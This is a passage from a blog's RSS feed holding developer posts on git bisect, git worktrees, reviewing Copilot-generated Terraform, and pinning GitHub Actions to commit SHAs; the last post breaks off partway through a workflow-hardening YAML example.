&lt;strong&gt;Test a specific thing, not the whole suite:&lt;/strong&gt; &lt;code&gt;git bisect run npm test -- --grep "negative"&lt;/code&gt;. Faster, and it fails for the right reason.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skip commits by hand:&lt;/strong&gt; &lt;code&gt;git bisect skip&lt;/code&gt; when a commit cannot be tested; Git works around it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reuse a session:&lt;/strong&gt; &lt;code&gt;git bisect log &amp;gt; bisect.txt&lt;/code&gt;, later &lt;code&gt;git bisect replay bisect.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Merges:&lt;/strong&gt; bisect walks the DAG correctly; the first bad commit can be a merge, and that is a real answer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The lab has the same repository, a second regression to find without &lt;code&gt;run&lt;/code&gt;, and the reflog step that recovers you if you bisect on a dirty tree: &lt;a href="https://moderngitacademy.com/labs/bisect-regression/" rel="noopener noreferrer"&gt;Find a regression with git bisect&lt;/a&gt;. It is one of twenty labs, each in a disposable repository with real output.&lt;/p&gt;

</description>
      <category>git</category>
      <category>debugging</category>
      <category>testing</category>
      <category>devops</category>
    </item>
    <item>
      <title>Stop Stashing. Use a Second Working Directory for the Interruption.</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 20 Sep 2026 01:02:51 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/stop-stashing-use-a-second-working-directory-for-the-interruption-6m0</link>
      <guid>https://dev.to/jjoyneriv/stop-stashing-use-a-second-working-directory-for-the-interruption-6m0</guid>
      <description>&lt;p&gt;"Can you look at the login bug on main? Five minutes." You are forty minutes into a feature, with edits in six files that do not compile yet. The usual answer is &lt;code&gt;git stash&lt;/code&gt;, switch, fix, switch back, &lt;code&gt;git stash pop&lt;/code&gt; — and a stash you forget about, or a pop that conflicts with something you did in between.&lt;/p&gt;

&lt;p&gt;There is a better tool, and it has been in Git since 2.5: a second working directory for the same repository.&lt;/p&gt;

&lt;h2&gt;
  
  
  One repository, two directories
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;git worktree add&lt;/code&gt; checks out a branch into a &lt;em&gt;new directory&lt;/em&gt; that shares the same &lt;code&gt;.git&lt;/code&gt; database. Two checkouts, one history, no copying of objects, no second clone to keep in sync. Every command below was run in a disposable repository (git 2.43.0); the output is real, with the temporary directory shown as &lt;code&gt;/home/you&lt;/code&gt; for readability.&lt;/p&gt;

&lt;p&gt;Start where the interruption happens — on a feature branch with uncommitted work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git status &lt;span class="nt"&gt;--short&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; M wip.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, instead of stashing, add a worktree for the hotfix, on a new branch from &lt;code&gt;main&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git worktree add ../hotfix &lt;span class="nt"&gt;-b&lt;/span&gt; hotfix main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Preparing worktree (new branch 'hotfix')
HEAD is now at 3b87f1e Initial commit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git worktree list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/you/app     f08c49f [feature/long-running]
/home/you/hotfix  3b87f1e [hotfix]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two directories. Your feature checkout is untouched — &lt;code&gt;wip.txt&lt;/code&gt; still has its uncommitted edit. The new one is a clean checkout of &lt;code&gt;main&lt;/code&gt; on a fresh &lt;code&gt;hotfix&lt;/code&gt; branch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix, commit, push — without touching the feature
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../hotfix
git status &lt;span class="nt"&gt;--short&lt;/span&gt; &lt;span class="nt"&gt;--branch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;## hotfix
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clean. Make the fix and commit it here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"fix"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; fix.txt
git add &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git commit &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"Fix login redirect"&lt;/span&gt;
git log &lt;span class="nt"&gt;--oneline&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;4090a55 Fix login redirect
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push it, open the pull request, whatever the process is. Then go back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../app
git status &lt;span class="nt"&gt;--short&lt;/span&gt; &lt;span class="nt"&gt;--branch&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;wip.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;## feature/long-running
 M wip.txt
wip
uncommitted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exactly as you left it. No stash, no pop, no conflict, no context lost. The editor windows you had open are still open on the right files, because the files never changed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rule Git enforces
&lt;/h2&gt;

&lt;p&gt;One branch can be checked out in one worktree at a time. Try to check the feature branch out again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git worktree add ../dup feature/long-running
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Preparing worktree (checking out 'feature/long-running')
fatal: 'feature/long-running' is already used by worktree at '/home/you/app'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the safety property: two directories can never race each other for the same branch pointer. If you genuinely want the same commit twice, &lt;code&gt;--detach&lt;/code&gt; gives you a detached HEAD in the second directory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Clean up
&lt;/h2&gt;

&lt;p&gt;When the hotfix is merged, remove the worktree. The &lt;em&gt;branch&lt;/em&gt; survives; only the directory and its registration go:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git worktree remove ../hotfix
git worktree list
git branch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/you/app  f08c49f [feature/long-running]
* feature/long-running
  hotfix
  main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you &lt;code&gt;rm -rf&lt;/code&gt; a worktree directory by hand instead, Git notices on the next &lt;code&gt;list&lt;/code&gt; and marks it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/you/app     f08c49f [feature/long-running]
/home/you/tmp-wt  4090a55 [tmp] prunable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;git worktree prune&lt;/code&gt; clears the stale entry.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to reach for it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The interruption.&lt;/strong&gt; The case above. Also code review: check the reviewer's branch out beside your own and run both.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Long builds.&lt;/strong&gt; Kick off a build in one worktree while you keep editing in another — no "don't touch anything, it's compiling".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comparing versions.&lt;/strong&gt; Two worktrees, two versions, a diff tool pointed at both directories.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And when not to: a worktree shares the repository's config, hooks and index-independent state, so it is not a sandbox for experiments with &lt;code&gt;.git&lt;/code&gt; itself, and it is not a substitute for a branch when what you need is just a branch.&lt;/p&gt;

&lt;p&gt;The hands-on version — with a deliberate mistake to make and recover from — is the lab: &lt;a href="https://moderngitacademy.com/labs/parallel-work-with-worktrees/" rel="noopener noreferrer"&gt;Parallel work with Git worktrees&lt;/a&gt;. The concept it sits on, that a branch is a pointer and a checkout is a directory, is &lt;a href="https://moderngitacademy.com/workflows/branching/git-branches/" rel="noopener noreferrer"&gt;Git branches explained&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>git</category>
      <category>productivity</category>
      <category>devops</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Reviewing Generated Terraform: The Destroy Count, count vs for_each, and a Comment in the Wrong Place</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Thu, 17 Sep 2026 04:44:41 +0000</pubDate>
      <link>https://dev.to/thecopilotstack/reviewing-generated-terraform-the-destroy-count-count-vs-foreach-and-a-comment-in-the-wrong-57o9</link>
      <guid>https://dev.to/thecopilotstack/reviewing-generated-terraform-the-destroy-count-count-vs-foreach-and-a-comment-in-the-wrong-57o9</guid>
      <description>&lt;p&gt;Terraform is the worst place to accept generated code uncritically, because it is the one where "wrong" can mean a deleted database rather than a failing test.&lt;/p&gt;

&lt;p&gt;It is also a place where Copilot is genuinely useful — provider schemas are exactly the kind of thing nobody should be memorising. The trick is knowing which parts of the output are checkable and which parts are judgement.&lt;/p&gt;

&lt;p&gt;Here is what I check, and the two gotchas that have actually bitten me.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;terraform validate&lt;/code&gt; does not mean safe
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;terraform validate&lt;/code&gt; checks your configuration against the &lt;strong&gt;provider schema&lt;/strong&gt;. Types line up, required arguments are present, references resolve.&lt;/p&gt;

&lt;p&gt;It says precisely nothing about whether the infrastructure you described is a good idea. A bucket open to the world, a security group admitting &lt;code&gt;0.0.0.0/0&lt;/code&gt;, an IAM policy with &lt;code&gt;Action: "*"&lt;/code&gt; — all valid configuration. All pass &lt;code&gt;validate&lt;/code&gt; without a murmur.&lt;/p&gt;

&lt;p&gt;Run a policy scanner too. &lt;code&gt;tflint&lt;/code&gt;, &lt;code&gt;checkov&lt;/code&gt;, &lt;code&gt;tfsec&lt;/code&gt; — pick one and put it in CI. Same distinction as schema-versus-policy everywhere else: one tool checks the shape, the other checks the idea.&lt;/p&gt;

&lt;h2&gt;
  
  
  The number to read in a plan is the destroy count
&lt;/h2&gt;

&lt;p&gt;Not the create count. Not the change count.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plan: 3 to add, 1 to change, 2 to destroy.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the phrase to search the plan output for is &lt;strong&gt;&lt;code&gt;forces replacement&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A replacement is a delete followed by a create. For a stateless resource that is a rolling update. For an RDS instance, an EBS volume or anything else holding data, it is exactly what it sounds like. &lt;code&gt;forces replacement&lt;/code&gt; on a stateful resource is the line that should stop the review.&lt;/p&gt;

&lt;p&gt;This is the single highest-value habit in working with generated Terraform, and it takes about four seconds.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;count&lt;/code&gt; versus &lt;code&gt;for_each&lt;/code&gt;: the one that destroys things quietly
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;count&lt;/span&gt;    &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;names&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# positional&lt;/span&gt;
&lt;span class="nx"&gt;for_each&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;toset&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;names&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# keyed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With &lt;code&gt;count&lt;/code&gt;, resources are tracked by &lt;strong&gt;index&lt;/strong&gt;. Remove the second item from a three-item list and Terraform does not "delete the second one" — it re-indexes. Item three shifts into slot two. The plan shows a modify of slot two and a &lt;strong&gt;destroy of slot three&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;for_each&lt;/code&gt;, resources are tracked by key. Remove an item and exactly that item is destroyed.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;for_each&lt;/code&gt; for collections. Reserve &lt;code&gt;count&lt;/code&gt; for genuine on/off conditionals. Copilot reaches for &lt;code&gt;count&lt;/code&gt; roughly every time, because &lt;code&gt;count&lt;/code&gt; is older and more of the corpus uses it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validation blocks are free and nobody writes them
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"instance_count"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;
  &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Number of application instances."&lt;/span&gt;

  &lt;span class="nx"&gt;validation&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;condition&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instance_count&lt;/span&gt; &lt;span class="err"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="err"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instance_count&lt;/span&gt; &lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
    &lt;span class="nx"&gt;error_message&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"instance_count must be between 1 and 20."&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An unvalidated ranged variable is a typo that reaches &lt;code&gt;apply&lt;/code&gt;. This is the kind of boilerplate Copilot writes well and instantly, and it will not write it unprompted — ask for validation blocks on every bounded variable and you get them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Suppressing a scanner finding: put the comment &lt;em&gt;inside&lt;/em&gt; the block
&lt;/h2&gt;

&lt;p&gt;This one is pure trivia until it wastes an afternoon.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_s3_bucket"&lt;/span&gt; &lt;span class="s2"&gt;"logs"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;# checkov:skip=CKV_AWS_18:Access logging would recurse on the log bucket itself&lt;/span&gt;
  &lt;span class="nx"&gt;bucket&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"example-logs"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checkov attributes findings to a &lt;strong&gt;line range&lt;/strong&gt;, so a skip comment placed &lt;em&gt;above&lt;/em&gt; the resource block is outside the range and is silently ignored. The scan keeps failing, the comment looks right, and you start doubting the tool.&lt;/p&gt;

&lt;p&gt;Inside the block. Always with a reason — a bare suppression is a finding somebody decided not to think about.&lt;/p&gt;

&lt;p&gt;Credit where due: Checkov's &lt;code&gt;CKV_AWS_41&lt;/code&gt; catches hardcoded credentials in &lt;code&gt;.tf&lt;/code&gt; files, which is more than most linters manage for secrets.&lt;/p&gt;

&lt;h2&gt;
  
  
  Never let a credential into a &lt;code&gt;.tf&lt;/code&gt; file
&lt;/h2&gt;

&lt;p&gt;Not as a default, not as a &lt;code&gt;.tfvars&lt;/code&gt; committed "temporarily". And remember that a secret referenced anywhere in a configuration ends up in &lt;strong&gt;state&lt;/strong&gt;, in plaintext — so state gets a remote backend with encryption and locking, and &lt;code&gt;*.tfstate&lt;/code&gt; goes in &lt;code&gt;.gitignore&lt;/code&gt; next to &lt;code&gt;*.tfvars&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rules worth committing
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; Every variable has a type, a description, and a validation block where 
  the value is bounded.
&lt;span class="p"&gt;-&lt;/span&gt; for_each for collections; count only for on/off conditionals.
&lt;span class="p"&gt;-&lt;/span&gt; No hardcoded region, account id, or ARN — variables or data sources.
&lt;span class="p"&gt;-&lt;/span&gt; Secrets come from the secret manager. Never a variable default, never 
  a committed .tfvars.
&lt;span class="p"&gt;-&lt;/span&gt; Security groups name a source. 0.0.0.0/0 needs a comment justifying it.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four lines in &lt;code&gt;.github/copilot-instructions.md&lt;/code&gt; change every future suggestion in the repository. That is a better return than any amount of prompt refinement, because it supplies context the model did not have rather than asking it to try harder.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Fuller version, including the plan-review checklist and the policy-scanner setup, at &lt;a href="https://thecopilotstack.com/github-copilot/devops/terraform/" rel="noopener noreferrer"&gt;GitHub Copilot for Terraform&lt;/a&gt;. There is a &lt;a href="https://thecopilotstack.com/labs/terraform-with-copilot/" rel="noopener noreferrer"&gt;hands-on lab&lt;/a&gt; that walks through writing a validated module without ever running &lt;code&gt;apply&lt;/code&gt;, and a starter repository to go with it.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>terraform</category>
      <category>devops</category>
      <category>aws</category>
      <category>githubcopilot</category>
    </item>
    <item>
      <title>I Pinned 31 GitHub Actions to Commit SHAs. One Major Tag Was Two Versions Stale.</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Tue, 15 Sep 2026 00:39:08 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/i-pinned-31-github-actions-to-commit-shas-one-major-tag-was-two-versions-stale-b13</link>
      <guid>https://dev.to/jjoyneriv/i-pinned-31-github-actions-to-commit-shas-one-major-tag-was-two-versions-stale-b13</guid>
      <description>&lt;p&gt;Yesterday I pinned 31 GitHub Actions to commit SHAs for a set of workflows I was packaging. Every SHA was resolved from the upstream repository rather than copied from a README or a tutorial, and the process turned up three things worth writing down — including one action whose &lt;code&gt;v3&lt;/code&gt; major tag is two full major versions behind its newest release.&lt;/p&gt;

&lt;p&gt;Here is how to pin correctly, without the API and without trusting anyone's blog post, and what the exercise found.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the SHA, not the tag
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;uses: actions/checkout@v7&lt;/code&gt; runs whatever commit the &lt;code&gt;v7&lt;/code&gt; tag points to &lt;em&gt;at the moment your job starts&lt;/em&gt;. The maintainer moves that tag for every patch release — which is the feature — and anyone who takes over the repository or a maintainer's account can move it too — which is the problem. A commit SHA cannot be moved. Pinning to it means the code that runs is the code you reviewed, until you change the pin.&lt;/p&gt;

&lt;p&gt;The convention is the SHA plus the release in a comment, so a human can still read the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1&lt;/span&gt; &lt;span class="c1"&gt;# v7.0.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dependabot's &lt;code&gt;github-actions&lt;/code&gt; ecosystem updates both halves together, so pinning does not cost you updates.&lt;/p&gt;

&lt;h2&gt;
  
  
  Resolving a SHA without the API
&lt;/h2&gt;

&lt;p&gt;The GitHub REST API is rate-limited to 60 unauthenticated requests an hour, and resolving one pin can take three calls (release → tag → annotated tag object). &lt;code&gt;git ls-remote&lt;/code&gt; over HTTPS has no such limit and needs no token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git ls-remote &lt;span class="nt"&gt;--tags&lt;/span&gt; https://github.com/actions/checkout | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'refs/tags/v7(\.0\.1)?(\^\{\})?$'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3d3c42e5aac5ba805825da76410c181273ba90b1    refs/tags/v7
3d3c42e5aac5ba805825da76410c181273ba90b1    refs/tags/v7.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two facts in two lines: the &lt;code&gt;v7&lt;/code&gt; major tag and the &lt;code&gt;v7.0.1&lt;/code&gt; release point at the same commit, so &lt;code&gt;v7&lt;/code&gt; currently &lt;em&gt;means&lt;/em&gt; 7.0.1, and that is the SHA to pin.&lt;/p&gt;

&lt;p&gt;One subtlety. Some projects use &lt;strong&gt;annotated&lt;/strong&gt; tags, which are objects of their own; &lt;code&gt;ls-remote&lt;/code&gt; then prints two lines for one tag — the tag object and, with a &lt;code&gt;^{}&lt;/code&gt; suffix, the commit it points to. You want the &lt;code&gt;^{}&lt;/code&gt; one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;006b7ce8314066bdf1765b4500370d40fa6917a3    refs/tags/v0.24.2
3ad7283483fc7af8ff2b4ea19663c2d5ca935e26    refs/tags/v0.24.2^{}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin &lt;code&gt;3ad7283…&lt;/code&gt;, not &lt;code&gt;006b7ce…&lt;/code&gt;. A tag-object SHA in a &lt;code&gt;uses:&lt;/code&gt; line fails with "unable to resolve action" — a confusing error for a correct-looking pin.&lt;/p&gt;

&lt;p&gt;I wrapped this in a short script: for each repository, take the highest &lt;code&gt;vN&lt;/code&gt; tag, its peeled commit, and whichever &lt;code&gt;vX.Y.Z&lt;/code&gt; tag shares that commit. Thirty-one actions in about a minute.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the exercise found
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. A major tag that is two majors stale.&lt;/strong&gt; &lt;code&gt;actions/dependency-review-action@v3&lt;/code&gt; resolves to a commit with no &lt;code&gt;v3.x.y&lt;/code&gt; release tag at all — the newest release is &lt;code&gt;v5.0.0&lt;/code&gt;. The &lt;code&gt;v3&lt;/code&gt; tag was never advanced to anything after v3's last patch, so anyone still on &lt;code&gt;@v3&lt;/code&gt; is on an unmaintained line and does not know it. Pin &lt;code&gt;v5.0.0&lt;/code&gt; (&lt;code&gt;a1d282b36b6f3519aa1f3fc636f609c47dddb294&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. A major tag that lags its own releases.&lt;/strong&gt; &lt;code&gt;sigstore/cosign-installer@v3&lt;/code&gt; points at &lt;code&gt;v3.9.1&lt;/code&gt;; the newest release is &lt;code&gt;v4.1.2&lt;/code&gt;. Not wrong, but "I'm on the latest major" is a belief that a major tag does not support. Only the release list does.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. No major tag at all.&lt;/strong&gt; &lt;code&gt;aquasecurity/trivy-action&lt;/code&gt; publishes only exact versions (&lt;code&gt;0.35.0&lt;/code&gt;), no floating &lt;code&gt;v0&lt;/code&gt;. A workflow written as &lt;code&gt;@master&lt;/code&gt; — and there are many — is pinned to a branch, the one thing worse than a tag.&lt;/p&gt;

&lt;p&gt;None of this is visible from inside a workflow file. It is visible in about a second from &lt;code&gt;ls-remote&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rest of the checklist that goes with pins
&lt;/h2&gt;

&lt;p&gt;Pinning is one line of a security posture, and on its own it is the least important line. The workflows I was packaging apply the same six things everywhere, and if you copy nothing else from this post, copy this block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;              &lt;span class="c1"&gt;# read-only by default; widen per job, never here&lt;/span&gt;

&lt;span class="na"&gt;concurrency&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;group&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ci-${{ github.workflow }}-${{ github.ref }}&lt;/span&gt;
  &lt;span class="na"&gt;cancel-in-progress&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event_name == 'pull_request' }}&lt;/span&gt;   &lt;span class="c1"&gt;# cancel CI, never a deploy&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1&lt;/span&gt; &lt;span class="c1"&gt;# v7.0.1&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;persist-credentials&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;   &lt;span class="c1"&gt;# the token is not written to .git/config&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Use a branch name safely&lt;/span&gt;
        &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;REF&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.head_ref }}&lt;/span&gt;  &lt;span class="c1"&gt;# context values go through env…&lt;/span&gt;
